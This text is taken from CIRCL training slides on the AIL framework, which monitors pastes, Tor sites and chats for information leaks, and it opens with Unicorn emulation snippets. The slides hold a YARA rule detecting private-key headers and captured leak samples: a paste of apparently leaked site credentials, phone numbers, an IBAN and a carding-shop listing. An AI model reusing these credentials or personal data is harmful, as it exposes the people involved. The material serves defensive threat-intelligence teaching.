       ADDRESS + 0x12AC)
10 uc.mem_map(ADDRESS, 2 * 1024 * 1024)  # 2 MB
11 uc.mem_write(ADDRESS, binary)
```

- Define the CPU architecture (line 6)
- Install the hooks (line 7 to 9)
- Configure memory layout (line 10)
- Load the ELF file (line 11)

Function Parameter Passing

Listing 3: Unicorn Engine Example: Setting Arguments

```
input_str = b".''$gk$9'/j"
input_key = 75 # 'K'

# Write the input string to memory
uc.mem_write(ADDRESS + 0x4000, input_str)  # Address where input_str is stored (binary 16K, string at 17K)

# Set up registers
uc.reg_write(UC_X86_REG_RDI, ADDRESS + 0x4000)  # Set the first argument (address of the string)
uc.reg_write(UC_X86_REG_RSI, input_key)         # Set the second argument (offset)
uc.reg_write(UC_X86_REG_RSP, ADDRESS + 0x6000) # Set the stack (RSP)
```

Pay attention to the operating system's calling convention.

Python Code Example: Emulating with Unicorn

Listing 4: Unicorn Engine Emulation Example

```python
try:
    # Start emulation from the specified range
    uc.emu_start(ADDRESS + 0x1189, ADDRESS + 0x11EC)  # Start and end addresses recovered from Ghidra

    # Read the result from memory and decode it
    result = uc.mem_read(ADDRESS + 0x4000, len(input_str)).decode("utf-8")
    print(f"Encoded string: {result}")

except UcError as e:
    # Handle errors during emulation
    print(f"Unicorn error: {e}")
```

Unicorn Engine Trouble Shooting

```
1 [*] Current RIP: 1001189,
      instruction size = 4
2 [*] Current RIP: 100118d,
      instruction size = 1
3 [*] Memory access: 11 at 0
      x1005ff8, data size = 8,
      data value = 0x0
4 [*] Current RIP: 100118e,
      instruction size = 3
5 [*] Current RIP: 1001191,
      instruction size = 1
6 [*] Memory access: 11 at 0
      x1005ff0, data size = 8,
      data value = 0x0
7 [*] Current RIP: 1001192,
      instruction size = 4
8 [*] Current RIP: 1001196,
      instruction size = 4
9 [*] Memory access: 11 at 0
      x1005fd0, data size = 8,
      data value = 0x1004000
```

```
1 00101189 f3 0f 1e fa     ENDBR64
  0010118d 55              PUSH       RBP
2 0010118e 48 89 e5        MOV        RBP,RSP
3 00101191 53              PUSH       RBX
4 00101192 48 83 ec 28     SUB        RSP,0x28
  00101196 48 89 7d d8     MOV        qword ptr [RB
  0010119a 89 f0           MOV        EAX,ESI
  0010119c 88 45 d4        MOV        byte ptr [RBP
  0010119f c7 45 ec        MOV        dword ptr [RB
           00 00 00 00
  001011a6 eb 26           JMP        LAB_001011ce
```

References and Outlook

- **Malware Samples Used:** `https://helga.circl.lu/NGSOTI/malware-dataset`
- **AIL Training:** 4th February at 122 Rue Adolphe Fischer, 1521 Luxembourg
- **Registration Link:** `https://pretix.eu/circl/fkq78/`
- **Note:** Subject to a vetting process.
- **Join the MISP-LEA Initiative:**
- Training material for LEA
  - `https://github.com/neolea`
  - `https://github.com/MISP/misp-training-lea`

  Contact us at `info@misp-lea.org`.

AIL Framework for Analysis of Information Leaks

Practical and Efficient Data-Mining of Suspicious Websites, Forums, Chats and Tor Hidden-Services

CIRCL
Computer Incident
Response Center
Luxembourg

Alexandre Dulaunoy
alexandre.dulaunoy@circl.lu
Aurelien Thirion
aurelien.thirion@circl.lu

info@circl.lu

May 30, 2025

Links

- AIL project website `https://ail-project.org`
- AIL project open source framework `https://github.com/ail-project`
- AIL framework `https://github.com/ail-project/ail-framework`
- Training materials `https://github.com/ail-project/ail-training`
- Mastodon `https://infosec.exchange/@ail_project`
- Online chat `https://gitter.im/ail-project/community`

ail project

Legal and Ethics

Privacy, AIL and GDPR (PII)

- Many modules in AIL can process personal data and even special categories of data as defined in GDPR (Art. 9).
- The data controller is often the operator of the AIL framework (limited to the organisation) and has to define **legal grounds for processing personal data**.
- To help users of AIL framework, a document is available which describe points of AIL in regards to the regulation[1].

[1] `https://www.circl.lu/assets/files/information-leaks-analysis-and-gdpr.pdf`

Potential legal grounds

- **Consent of the data subject** is in many cases not feasible in practice and often impossible or illogical to obtain (Art. 6(1)(a)).
- Legal obligation (Art. 6(1)(c)) - This legal ground applies mostly to CSIRTs, in accordance with the powers and responsibilities set out in CSIRTs mandate and with their constituency, as they may have the legal obligation to collect, analyse and share information leaks without having a prior consent of the data subject.
- Art. 6(1)(f) - Legitimate interest - Recital 49 explicitly refers to CSIRTs' right to process personal data provided that they have a legitimate interest but not colliding with fundamental rights and freedoms of data subject.

Ethics in Information Security and Cybersecurity

- The materials and tools presented can open a significant numbers of questions regarding ethics;
- Our researches and tools are there for education, supporting the public good and improve incident response;
- We ask all users and participants to **follow ethical principles and act professionaly**[2].

[2] https://www.acm.org/code-of-ethics
https://www.first.org/global/sigs/ethics/ethics-first

Introduction

Concepts - Deep Web

- **Deep Web** is the part of World Wide Web not indexed or directly accessible by standard web search-engines;
- This can be content hidden from **crawlers** by requiring a specific access and this can includes private social media, password-protected forums or content protected by different measures such as paywalls or specific security interface to access the information;
- A large portion of content accessible via Internet is part of the deep web[3].

[3] also called invisible web, hidden web or non-indexed web

Concepts - darknet

- **Darknet** is an overlay network running on top of Internet requiring specific software to access the network and its services;
- Tor, I2P and Freenet are the most commonly used ones. Many are used for hidden services access and some for proxy access to the Internet;
- There are **legitimate use-cases** for such network but also many **illegal or criminal usage**.

Lifecycle of collection and analysis

Collecting, processing and analysing content - web pages

- Building a search engine on the web is a challenging task because:
  - it has to crawl webpages,
  - it has to to make sense of **unstructured data**,
  - it has to **index** these data,
  - it has to provide a way to retrieve data and structure data (e.g. correlation).
- Doing so on Tor is even more challenging because:
  - services don't always want to be found,
  - parts of the dataset have to be discarded.
- in each case, it requires a lot of bandwidth, storage and computing power.

Collecting, processing and analysing content - structured data

- Some data are structured and are easy to process:
  - metadata!
  - API responses.
- Some even provide cryptographic evidences:
  - authentication mechanisms between peers,
  - OpenGPG can leak a lot of metadata
    - key ids,
    - subject of email in thunderbird,
  - Bitcoin's Blockchain is public,
  - pivoting on these data with external sources yields interesting results.

AIL design Objectives

Objectives of the session

- Show how to use and extend an open source tool to monitor web pages, pastes, chats, forums and hidden services
- Explain challenges and the design of the AIL open source framework
- Review different **collection mechanisms** and **sources**
- Learn how to create new modules
- Learn how to use, install and start AIL
- **Supporting investigation using the AIL framework** and including it in cyber threat intelligence life cycle

AIL Framework

From a requirement to a solution: AIL Framework

History:

- AIL initially started as an **internship project** (2014) to evaluate the feasibility to automate the analysis of (un)structured information to find leaks.
- In 2019, AIL framework is an **open source software** in Python. The software is actively used (and maintained) by CIRCL and many organisations.
- In 2020, AIL framework is now a complete project called **ail project**[4].
- In 2023, AIL framework version 5.0 released with new datastorage back-end.

[4] `https://github.com/ail-project/`

Capabilities Overview

Common usage

- **Check** if mail/password/other sensitive information (terms tracked) leaked
- **Detect** reconnaissance of your infrastructure
- **Search** for leaks inside an archive
- **Monitor** and crawl chats/websites

Support CERT and Law Enforcement activities

- Proactive investigation: leaks detection
  - List of emails and passwords
  - Leaked database
  - AWS Keys
  - Credit-cards
  - PGP private keys
  - Certificate private keys
- Feed Passive DNS or any passive collection system
- CVE and PoC of vulnerabilities most used by attackers

Support CERT and Law Enforcement activities

- Website monitoring
  - monitor booters
  - Detect encoded exploits (WebShell, malware encoded in Base64, ...)
  - SQL injections
- Chat/Channel monitoring
  - Monitor Threat Actor Chat and Community Activities
- Automatic and manual submission to threat sharing and incident response platforms
  - MISP
  - *flowIntel (Coming soon)*
- Term/Regex/YARA monitoring for local companies/government
- YARA Retro Hunt

Sources of leaks

Mistakes from users:

Sources of Leaks: Paste Monitoring

- **Example:** `https://gist.github.com/`
  - Easily stores and shares text online
  - Used by programmers and legitimate users
    → Source code & configuration information

- **Abused by attackers to store:**
  - Lists of vulnerable/compromised sites
  - Software vulnerabilities (e.g., exploits)
  - Database dumps
    → User data
    → Credentials
    → Credit card details
  - Increasingly more sensitive information

Examples of pastes (items)

text 4.41 KB

```
- - - - - - Tool by Y3t1y3t ( u
```

text 4.57 KB

```
#include "wejwyj.h"

int zapisz (FILE *plik_
  int i, j;
if (obr->KOLOR==0) {

  fprintf (plik_wy, "P2
  fprintf (plik_wy, "%d
  fprintf (plik_wy, "%d
  for (i=0; i<obr->wymy
    for (j=0; j<obr->wymx; j++
      fprintf (plik_wy, "%d ",
  }
```

text 2.02 KB

```
KillerGram - Yuffie - Smoke The Big Dick [smkwhr] (Upload
```

text 2.66 KB

```
<item name="%the_component_to_be_disabled%" xsi:type="array">
    <item name="config" xsi:type="array">
        <item name="componentDisabled" xsi:type="boolean">true</item>
    </item>
</item>

<?xml version="1.0"?>

<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespace
/etc/page_configuration.xsd">
    <body>
        <referenceBlock name="checkout.root">
            <arguments>
                <argument name="jsLayout" xsi:type="array">
```

Why So Many Leaks?

- **Economic Interests:**
  - Adversaries promoting services
- **Ransom Model:**
  - To publicly pressure the victims
- **Political Motives:**
  - Adversaries showing off
- **Collaboration:**
  - Criminals need to collaborate
- **Operational Infrastructure:**
  - Malware exfiltrating information on a paste website
- **Mistakes and Errors from Users**

What's your role while discovering such leak?

As a CSIRT, we must address this issue.

- **Contacting companies or organizations** responsible for accidental leaks
- **Engaging with the media** about specific leak cases to ensure practical and factual reporting
- **Evaluating the economic landscape** for cyber criminals (e.g., DDoS booters[5] or the resale of personal information - comparing reality versus media coverage)
- **Analyzing collateral effects** of malware, software vulnerabilities, or data exfiltration

[5] `https://github.com/D4-project/`

Current capabilities

High Level Overview

AIL Framework: Extensible capabilities

- Extending AIL to add a new **analysis module** can be done in 50 lines of Python
- The framework **supports multi-processors/cores by default**. Any analysis module can be started multiple times to support faster processing during peak times or bulk import
- **Multiple** concurrent **data inputs**
- Tor Crawler (handle cookies authentication)
- Feeders: Discord, Telegram, ...

Analysis of unstructured information

AIL Framework: Features

- Extracting **credit card numbers, credentials, phone numbers, ...**
- Extracting and validating potential **hostnames**
- Keeps track of **duplicates**
- Submission to threat sharing and incident response platforms (**MISP**)
- **Full-text indexer** to index unstructured information
- **Tagging** for classification and searches
- Terms, sets, regex and YARA **tracking, occurrences, and history**
- Archives, files, and raw **submission** from the UI
- Correlation engine based on PGP ID, cryptocurrencies, decoded (Base64, ...), usernames, cookie names, and many selectors to find relationships
- And many more

Trackers - Retro Hunt

- Search and monitor specific keywords/patterns
  - Automatic Tagging
  - Email Notifications
- Track Word
  - ddos
- Track Set
  - booter,ddos,stresser;2
- Track Regex
  - circl\.lu
- YARA rules
  - https://github.com/ail-project/ail-yara-rules

YARA Tracker

Trackers - Practical part

- **Create and test** your own tracker

Retro Hunt

test — completed

Date	2023/05/10
Description	None
Tags	
Creator	admin@admin.test
Filters	`{ "item": { "date_from": "20230304", "date_to": "20230601" } }`
Objects Match	Item 3

Show Objects

```
rule certificates
{
    meta:
        author = "@KevTheHermit"
        info = "Part of PasteHunter"
        reference = "https://github.com/kevthehermit/PasteHunter"

    strings:
        $ssh_priv = "BEGIN RSA PRIVATE KEY" wide ascii nocase
        $openssh_priv = "BEGIN OPENSSH PRIVATE KEY" wide ascii nocase
        $dsa_priv = "BEGIN DSA PRIVATE KEY" wide ascii nocase
        $ec_priv = "BEGIN EC PRIVATE KEY" wide ascii nocase
        $pgp_priv = "BEGIN PGP PRIVATE KEY" wide ascii nocase
        $pem_cert = "BEGIN CERTIFICATE" wide ascii nocase
        $pkcs7 = "BEGIN PKCS7"

    condition:
        any of them

}
```

Show 10 entries Search:

Type	Id	Tags
	archive/gist.github.com/2023/04/14/luizmiranda7_3b3d1133a3d3842092c5fcf5fb39e84f2.gz	infoleak:automatic-detection="private-key" test23 test12 infoleak:automatic-detection="certificate"
	submitted/2023/04/20/submitted_cc9190ab-80d2-4d2b-9c9e-97c51e69a855.gz	infoleak:submission="manual" test12 infoleak:automatic-detection="rsa-private-key" infoleak:automatic-detection="vpn-static-key" test23 infoleak:automatic-detection="certificate" infoleak:automatic-detection="onion"
	archive/gist.github.com/2023/04/13/chipzoller_d8d6d2d737d02ad4fe9d30a897170761.gz	test12 test23 infoleak:automatic-detection="certificate"

Recon and intelligence gathering tools

- **Attacker also share informations**
- Recon tools detected: 94
  - sqlmap
  - dnscan
  - whois
  - msfconsole (metasploit)
  - dnmap
  - nmap
  - ...

Recon and intelligence gathering tools

```
#######################################################################################
=======================================================================================
Hostname        www.pabloquintanilla.cl                 ISP     Wix.com Ltd.
Continent       North America           Flag
US
Country         United States           Country Code    US
Region  Unknown                 Local time      19 Nov 2019 07:59 CST
City    Unknown                 Postal Code     Unknown
IP Address      185.230.60.195          Latitude        37.751
                        Longitude       -97.822
=======================================================================================
#######################################################################################
> www.pabloquintanilla.cl
Server:         38.132.106.139
Address:        38.132.106.139#53

Non-authoritative answer:
www.pabloquintanilla.cl canonical name = www192.wixdns.net.
www192.wixdns.net       canonical name = balancer.wixdns.net.
Name:   balancer.wixdns.net
Address: 185.230.60.211
>
#######################################################################################
Domain name: pabloquintanilla.cl
Registrant name: SERGIO TORO
```

Decoder

- Search for encoded strings
  - Base64
  - Hexadecimal
  - Binary
- Guess Mime-type
- Items/Domains Correlation

Decoder:

mimetype
12,000
11,000
10,000
9,000
8,000
7,000
6,000
5,000
4,000
3,000
2,000
1,000
0
1 1 1 1 2 2 5 11 25 27 58 65 151 354 571 1026 12585
application/zip
audio/mpeg
image/gif
text/PGP
application/x-cpio
application/x-tex-tfm
audio/x-mp4a-latm
image/svg+xml
image/gif
application/zlib
image/png
image/jpeg
application/x-dosexec
application/ison
message/news
text/plain
application/octet-stream
Select a date range :
2023-05-31
2023-05-31
Encoding :
All encoding
File Type :
All types
show decoded files
Search
Search Decoded by name:
Decoded ID
20230531 Decoded files:
Show 10 entries
Search:
estimated type
hash
first seen
last seen
nb item
size
Virus Total
Sparkline
image/gif
ee0bc07fe6baeb22c8ec1364a4bef2d840dc3e05
20230404
20230531
214708
1108
Virus Total submission is disabled
image/png
b009399cefaa0e82086453da04a887105ca2f6a4
20230404
20230531
8404
1054
Virus Total submission is disabled
application/ison
f9f918ba5a0a35f5e2523bdbf4ece68d2cda11f9
20230410
20230531
3947
44
Virus Total submission is disabled

Decoder:

application/x-dosexec
264
217
184
151
2023-05-28
2023-05-29
2023-05-30
2023-05-31
Select a date range :
2023-05-28
2023-05-31
Encoding :
All encoding
File Type :
application/x-dosexec
Show decoded files
Search
Search Decoded by name:
Decoded ID
20230528 to 20230531 Decoded files:
Show 10 entries
Search:
estimated type
hash
first seen
last seen
nb item
size
Virus Total
Sparkline
application/x-dosexec
c408501f7f2bd8279704c380dd61d329c6119fc2
20230421
20230529
76
64
Virus Total submission is disabled
application/x-dosexec
a9ecfb74ce7d22b70f0dc0f057299f31ce570161
20230405
20230530
56
55666
Virus Total submission is disabled
application/x-dosexec
e5805aa6a66c6e013dfe4bddbab4fbc45b4c84127
20230529
20230531
4
32
Virus Total submission is disabled

OCR: Optical Character Recognition

- Threat actors are often verbose and frequently **share extensive details in private channels**.
- Many messages contain screenshots and images.
- Text detection and extraction are performed across 80+ languages using a CRNN (Convolutional Recurrent Neural Network).
- **Enables keyword-based matching and detection**.

QR Code Extractor

QR Codes

2022-12-16
16:51:04
blue_forever20
PromptPay
VISA
UnionPay
Thai
likeaboss
OCR
Mai62360520AP9J3I000000000000000708447583166304F69D

Bar Codes

Carte-cadeau
Walmart
Gift Card
$1500.00 CAD
OCR
8745860537300061927671300649 13
Click on the bar to zoom
Gift Card #:
6192 7671 3
PIN:
This website uses cookies
We use necessary cookies to enable the functioning of our website and optional Google analytics cookies to provide you the best possible experience. By clicking "Accept", you consent to the use of these optional cookies. For more information on the cookies we collect and their use, you can view our cookies policy Read our privacy policy.
Accept
Decline
Cool man its done as always , I appreciate for all you do beloved❤️ .
You have brought a lot of ppl to riches and I will forever be loyal, God bless you ..I wish I knew this earlier...🏦
en

Collection - Lacus Crawler

Crawler

- Crawlers are used to navigate on regular website as well as .onion addresses (via automatic extraction of urls or manual submission)
- Lacus[6] ("scriptable" browser) is rending the pages (including javascript) and produce screenshots (HAR archive too)
- How a domain is crawled by default:
  1. Fetch the first url
  2. Render javascript (webkit browser)
  3. Extract all urls
  4. Filter url: keep all url of this domain
  5. crawl next url (max depth = 1)

[6] `https://github.com/ail-project/lacus`

Lacus

- Lacus[7] is a capturing system using playwright, as a web service
- AIL utilizes Lacus for fetching and rendering domains.
  - Lacus can be installed and executed outside of AIL,
  - Enqueue what you want to capture,
  - Trigger the capture,
  - Get the capture result,

[7] `https://github.com/ail-project/lacus`

Crawler Settings - Lacus

Crawler: Cookiejar

Use your cookies to login and bypass captcha

Edit Cookiejar

Description	Date	UUID	User
3thxemke2x7hcibu.onion	2020/03/31	90674deb-38fb-4eba-a661-18899ccb3841	admin@admin.test

Edit Description Add Cookies


```
{
    "domain": ".3thxemke2x7hcibu.onion
    "name": "mybb[lastactive]",
    "path": "/forum/",
    "value": "1583829465"
}
```

```
{
    "domain": ".3thxemke2x7hcibu.onion
    "name": "loginattempts",
    "path": "/forum/",
    "value": "1"
}
```

```
{
    "domain": ".3thxemke2x7hcibu.onion
    "name": "sid",
    "path": "/forum/",
    "value": "047ab0cd97ff5bcc77edb6a
}
```

```
{
    "name": "remember_token",
    "value": "12|58cddd1511d74d341f23
}
```

```
{
    "domain": ".3thxemke2x7hcibu.onion",
    "name": "mybb[announcements]",
    "path": "/forum/",
    "value": "0"
}
```

Crawler: Cookiejar

http://3thxemke2x7hcibu.onion/forum/private.php

Live demo!

Crawler: DDoS Booter

Correlations and relationship

Investigations

Tor Coin Mixer

UUID	9189d0e7c04c47a29f85666e9507e0a5
Creator	admin@admin.test
Tags	dark-web:topic="mixer"
Date	2023-05-31
Threat Level	medium
Analysis	initial
Info	Tor Coin Mixer
# Objects	6
Timestamp	2023-05-31 12:50:45
Last change	2023-05-31 12:54:20

Delete | Edit | Export as Event

Objects

Show 10 entries

Search:

Type	Id	Tags
onion	jamblery7zgxknhjtmj3mnfdajmydiqxbufrf6voa32h5w4otux3crqd.onion	infolouk:automatic-detection="onion" infolouk:automatic-detection="pgp-public-key-block"
onion	bitmixhf4cpncluhwflussk23ltvowswbe4ttirdree74oxjmz2vyqqd.onion	infolouk:automatic-detection="onion"
key	0xD3B280956F0E7CAF	
mail	support@jambler.io	
telegram	jambler	

Dashboard

Home
Submit
Tags
Leaks Hunter
Crawlers
Objects
Server Management
Log Out
Feeders
telegram
pastebin-internal
submitted
unnamed_feeder
crawler
150
120
90
60
30
0
16:16:00
16:17:00
16:18:00
16:19:00
16:20:00
16:21:00
16:22:00
16:23:00
16:24:00
16:25:00
16:26:00
1576 Up
3187 Down
6683 Crawled
14899 Queue
4 UP
0 DOWN
4 Crawled
0 Queue
2024 - 12 - 07
0 Barcodes
85 Chats
438 Cookie-Names
641 Cryptocurrencies
13 Cves
1902 Decodeds
8499 DomHashs
1580 Domains
5877 Etags
778 Favicons
64 File-Names
989 HHHashs
434 Images
198 Ocrs
144 PGP Dumps
111 Qrcodes
6895 Titles
337 User-Accounts
498 Usernames
tracker
Time
yara
Track drug market
2024-12-07 16:25:49
yara
Track drug market
2024-12-07 16:25:39
ID
Tags
Time
crawled/2024/12/07/
ywyh44v7ixocqwuelr
c6-8339-40a5-937e-e84b7ae351fb
infoleak:submission="crawler"
16:26:01
infoleak:automatic-detection="bitcoin-address"

Example: Items Extracted

Date	Source	Size (Kb)	Number of lines	Max line length
2025/02/01	telegram	180.34	6033	27975

infoleak:automatic-detection="base64" | infoleak:automatic-detection="phone-number" | infoleak:automatic-detection="credit-card" | infoleak:automatic-detection="credential" | infoleak:automatic-detection="iban"

Add to MISP Export | Investigations | Correlations Graph

Extracted 3

Show 10 entries Search:

Type	ID	Extracted
tag	infoleak:automatic-detection="phone-number"	+97695152402 +972535242150 +919247146104 +212 608-950286 +212 629-117431 +212630864857 +84708794730 +96894427669 +44 7934 122985 +971501997173 +971-501027162 +971569883905 +971-585856200
tag	infoleak:automatic-detection="iban"	AE980260001015865178901 AE980260001015865178901
tag	infoleak:automatic-detection="credit-card"	37377860487519 5

Example: Items Domain

Crawler

Last Origin:

crawled/2025/02/03/drugsxeuauw4xt6eoqwztfkpa2ul5453q4ao4kqrtedhfoy6jmui5ryd.onionae52293f-ffda-4bd9-b81

drugsxeuauw4xt6eoqwztfkpa2ul5453q4ao4kqrtedhfoy6jmui5ryd.onion

url http://drugsxeuauw4xt6eoqwztfkpa2ul5453q4ao4kqrtedhfoy6jmui5ryd.onion/?product=ch skimmer

Hide

Full

LOGIN REGISTER CART CHECKOUT

Anonymous Marketplace

Carded electronics, hacked wallets, fresh cc, rent hacker, marketplace

All Search

Homepage Carding Hacking Services Counterfeits / BankNotes Money transfers Reviews

TOTAL $13,702.00

SALE!

CHIP MSR CARD SKIMMER MCR 200 EMV MAG STRIPE READER WRITER

★★★★☆ (28 customer reviews)

$249.00 $149.00

CHIP MSR CARD SKIMMER MCR 200 EMV MAG STRIPE READER WRITER SOFTWARE MSR206

1 Add to cart

Categories: hardwares, other services

DESCRIPTION REVIEWS (28)

Description

CHIP MSR CARD SKIMMER MCR 200 EMV MAG STRIPE READER WRITER SOFTWARE MSR206

Original New Model of MCR-200 IC Chip Card Reader Writer Magnetic Stripe Card Reader Writer & EMV chip Encoder Track 1,2,3
Comes with EMV Reader/Writer Software v8.6 for Windows 95/98/Me/2000/XP/Vista/Windows 7/Windows 8/Windows 8.1/Windows 10/MacOS/Linux (Only Ubuntu and Debian)
1. Magnetic Card Reader/Writer HCC206

Example: Browsing content

Content:

```
Over 50000+ custom hacked xxx passwords by us! Thousands of free xxx passwords to the hottest paysites!

#########################################################
 >| Get Fresh New Premium XXX Site Password Here |<

  =>   http://www.erq.io/4mF1


#########################################################



http://ddfnetwork.com/home.html
eu172936:hCSBgKh
UecwB6zs:159X0$!r#6K78FuU

http://pornxn.stiffia.com/user/login
feldwWek8939:RObluJ8XtB
dabudka:17891789
brajits:brajits1

http://members.pornstarplatinum.com/sblogin/login.php/
gigiriveracom:xxxjay
jayx123:xxxjay69

http://members.vividceleb.com/
Rufio99:fairhaven
ScHiFRvi:102091
Chaos84:HOLE5244
Riptor795:blade7
Domi80:harkonnen
```

Example: Search by tags

Search Items by Tags :

2023-05-14 | 2023-05-27

infoleak:automatic-detection="cve" × infoleak:automatic-detection="bitcoin-address" ×

Search Items

Show 10 entries | Search:

Date	Item	Action
2023/05/16	archive/gist.github.com/2023/05/16/Vazgen7788_c036ee7aad316d9038f2a3968abbcc5d.gz infoleak:automatic-detection="searchsploit-tool" infoleak:automatic-detection="cve" infoleak:automatic-detection="ethereum-address" infoleak:automatic-detection="base64" infoleak:automatic-detection="bitcoin-address"	
2023/05/16	archive/gist.github.com/2023/05/16/vrijay922_d35cf2f5c9abe682140379e35d5cd935.gz infoleak:automatic-detection="searchsploit-tool" infoleak:automatic-detection="cve" infoleak:automatic-detection="ethereum-address" infoleak:automatic-detection="base64" infoleak:automatic-detection="bitcoin-address"	
2023/05/16	archive/gist.github.com/2023/05/16/DmitriyLewen_930515cde810283b7804950efafe3273.gz infoleak:automatic-detection="searchsploit-tool" infoleak:automatic-detection="cve" infoleak:automatic-detection="credential" infoleak:automatic-detection="bitcoin-address"	
2023/05/19	archive/gist.github.com/2023/05/19/GrahamcOfBorg_46422a069e8b942352a65f3121a769c5.gz infoleak:automatic-detection="cve" infoleak:automatic-detection="credential" infoleak:automatic-detection="bitcoin-address"	
2023/05/26	archive/pastebin.com_pro/2023/05/26/5ewhAHi0.gz infoleak:automatic-detection="ethereum-address" infoleak:automatic-detection="cve" infoleak:automatic-detection="bitcoin-address"	

Showing 1 to 5 of 5 entries

Previous 1 Next

Previous 1 Next

Items: 14 / 0

MISP

MISP Taxonomies

- **Tagging** is a simple way to attach a classification to an event or attribute.
- **Classification must be globally used to be efficient.**
- Provide a set of already defined classifications modeling estimative language
- Taxonomies are implemented in a simple JSON format [8].
- Can be easily cherry-picked or extended

[8] `https://github.com/MISP/misp-taxonomies`

Taxonomies useful in AIL

- **infoleak**: Information classified as being potential leak.
- **estimative-language**: Describe quality and credibility of underlying sources, data, and methodologies.
- **admiralty-scale**: Rank the reliability of a source and the credibility of an information
- **fpf**[9]: Evaluate the degree of identifiability of personal data and the types of pseudonymous data, de-identified data and anonymous data.

[9] Future of Privacy Forum

Taxonomies useful in AIL

- **tor**: Describe Tor network infrastructure.
- **dark-web**: Criminal motivation on the dark web.
- **copine-scale**[10]: Categorise the severity of images of child sex abuse.

[10] Combating Paedophile Information Networks in Europe

threat sharing and incident response platforms

ail project $\longrightarrow$ MISP Threat Sharing

Goal: submission to threat sharing and incident response platforms.

threat sharing and incident response platforms

ail project → MISP Threat Sharing

1. Use infoleak taxonomy[11]
2. Add your own tags
3. Export AIL objects to MISP core format
4. Download it or Create a MISP Event[12]

[11] https://www.misp-project.org/taxonomies.html
[12] https://www.misp-standard.org/rfc/misp-standard-core.txt

MISP Export

1Gt545E48EPsyTC8voKQDCFfpTkwiuXduw :
Object type
type
First seen
Last seen
Nb seen
cryptocurrency
bitcoin
2020/01/17
2020/02/20
5
Expand Bitcoin address
Graph
Resize Graph
Add to MISP Export

MISP Export

UP
nttfj36sp47cw2yecop572zjvjeazgazieunllouudplzqt2m5h465yd.onion :
First Seen
Last Check
Ports
2020/02/19
2020/02/19
['80']
infoleak:automatic-detection="onion"
Last Origin: crawled/2020/02/19/dark.failc126d32a-3ed1-468f-ba24-f2e5956f4035
Show Domain Correlations 4
Add to MISP Threat Sharing Export
Hide
Empire Market
LOGIN
REGISTER
FORUMS
Login
LOGIN TO EMPIRE MAR
Welcome to Empire Market! Please log
Registrations are free and open to every
Usernam
Passwor
What's th

MISP Export

MISP Exporter
Select a list of objects to export
Object Type
Object ID
Lvl
Object type...
0
Object type...
1Gt545E48EPsyTC8voKQDCFfpTkwiuXduw
1
Domain
nttfj36sp47cw2yecop572zjvjeazgazieunllouudplzqt2m5h465yd.onion
0
JSON Export
Export to MISP Instance
Distribution:
Your organisation only
Threat Level:
Medium
Analysis:
Initial
Event Info:
Quick Event Description or Tracking Info
Publish Event
Export Objects

Automatic MISP Export on tags

API

AIL exposes a ReST API which can be used to interact with the back-end[13].

```
curl https://127.0.0.1:7000/api/v1/add/crawler/task
        --header "Authorization:
    iHc1_ChZxj1aXmiFiF1mkxxQkzawwriEaZpPqyTQj"
        -H "Content-Type: application/json"
        --data @input.json -X POST

```

[13] https://github.com/ail-project/ail-framework/blob/master/doc/README.md

Setting up the framework

Setting up AIL-Framework from source

Setting up AIL-Framework from source

```
1 git clone https://github.com/ail-project/ail-framework.git
2 cd AIL-framework
3 ./installing_deps.sh
```

Feeding the framework

Feeding Data to AIL

There are different ways to feed data into AIL:

1. AIL Importers:
   - Dir / Files
   - ZMQ
   - *pystemon*
2. AIL Feeders (discord, telegram, ...)
3. Feed your own data using the API
4. Feed your own file/text using the UI (`Submit section`)

Feeding Data to AIL - Limitation

/!\ Limitation:

- Each file to be fed must be of a reasonable size:
  - $\sim$ `3 Mb` / file is already large
  - This is because some modules are doing regex matching (default timeout of 30 seconds)
  - If you want to feed a large file, better split it in multiple ones

Via the UI (1)

Home
Submit
Tags
Leaks Hunter
Crawlers
Objects
Server Management
Log Out
Search
Toggle Sidebar
Submit Items
Submit Item
Submit a file
Submit a text
Optional Tags:
Add Taxonomies Tags
Taxonomie Selected
Add Galaxies Tags
Galaxy Selected
Submit a text, max size 1.0 Mb
Source
test text to submit
Submit Item

Via the UI (2)

Submitting Items ...
100 %
Files Submitted 1 / 1
Submitted Items
submitted/2023/05/30/submitted_04992a09-aa30-4f8a-a848-5c2945ace8ad.gz
Submitted Items
Success
Hunter
Submit
Tags
Selected
format allowed: , max size Gb
o file selected.

API - Feeding AIL with your own data

api/v1/import/item

```
{
  "type": "text",
  "tags": [
    "infoleak:analyst-detection=\"private-key\""
  ],
  "text": "text to import"
}
```

Importers

- Importers are located in the `/bin/importer` directory
- They are used to import different types of data into AIL
- Adding new Importers is straightforward.
- Available Importers:
  - AIL Feeders
  - ZMQ
  - pystemon
  - Files

File Importer

- `importer/FileImporter.py`

Import File

```
. ./AILENV/bin/activate
cd tools/
./file_dir_importer.py -f MY_FILE_PATH
```

Import Dir

```
. ./AILENV/bin/activate
cd tools/
./file_dir_importer.py -d MY_DIR_PATH
```

AIL feeders Importers

- **12+ feeders are available** for all AIL users to feed from external sources
- External feeders can run anywhere and are completely separated from AIL framework
- The feeder can use their **own internal logic** and even push JSON metadata
- Feeder are then pushing the generated JSON to AIL API

Certificate transparency feeder for AIL

- ail-feeder-cti[14] is a generic software to extract information from a certstream server (certificate transparency)
- All metadata extracted will be processed by AIL
- Onion addresses crawled automatically by AIL if seen in a certificate

[14] `https://github.com/ail-project/ail-feeder-ct`

GitHub archive and GitHub repository

- ail-feeder-gharchive[15] is a generic software to extract informations from **GHArchive**, collect and feed AIL via AIL ReST API
- ail-feeder-github-repo[16] is collecting from a GitHub repository and push everything to AIL
- For monitoring a set of **suspicious git repositories** or finding leaks on existing or managed git repositories, it's a simple way to feed AIL with such source.

[15] `https://github.com/ail-project/ail-feeder-gharchive`
[16] `https://github.com/ail-project/ail-feeder-github-repo`

AIL LeakFeeder

- ail-feeder-leak[17] automates the process to feed leaked large files automatically to AIL

[17] https://github.com/ail-project/ail-feeder-leak

AIL feeder ActivityPub

- ail-feeder-activity-pub[18] is feeder for the ActivityPub standard used in distributed social networks
- Accounts are required on the ActivityPub instance to get the stream

[18] `https://github.com/ail-project/ail-feeder-activity-pub`

AIL feeder telegram

- ail-feeder-telegram[19] is a **Telegram feeder**
- An API ID/hash for Telegram is required and linked to your Telegram phone number

[19] `https://github.com/ail-project/ail-feeder-telegram`

More feeders

- ail-feeder-discord[20] is a generic **Discord** feeder for AIL
- ail-feeder-atom-rss[21] is an **Atom and RSS reader** and feeder for AIL
- ail-feeder-jsonlogs[22] is a **JSON aggregator** to submit generic JSON input into AIL

